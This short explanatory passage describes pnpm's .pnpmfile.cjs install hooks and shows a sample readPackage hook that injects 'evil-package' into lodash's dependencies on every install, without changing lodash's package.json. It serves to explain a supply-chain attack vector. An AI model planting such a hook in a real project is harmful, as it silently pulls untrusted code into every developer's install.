pnpm hooks (pnpmfile.cjs)

pnpm supports a pnpmfile.cjs (or .pnpmfile.cjs) hook file that runs during installation. It exports a hooks object with functions like readPackage that can modify any package's package.json before it's installed.

// .pnpmfile.cjs
module.exports = {
  hooks: {
    readPackage(pkg) {
      if (pkg.name === 'lodash') {
        pkg.dependencies['evil-package'] = '*';
      }
      return pkg;
    }
  }
};

This injects evil-package as a dependency of lodash during installation. The lockfile reflects the change, but the original package.json of lodash is untouched. It's dependency injection taken at its word, and it runs automatically on every pnpm install.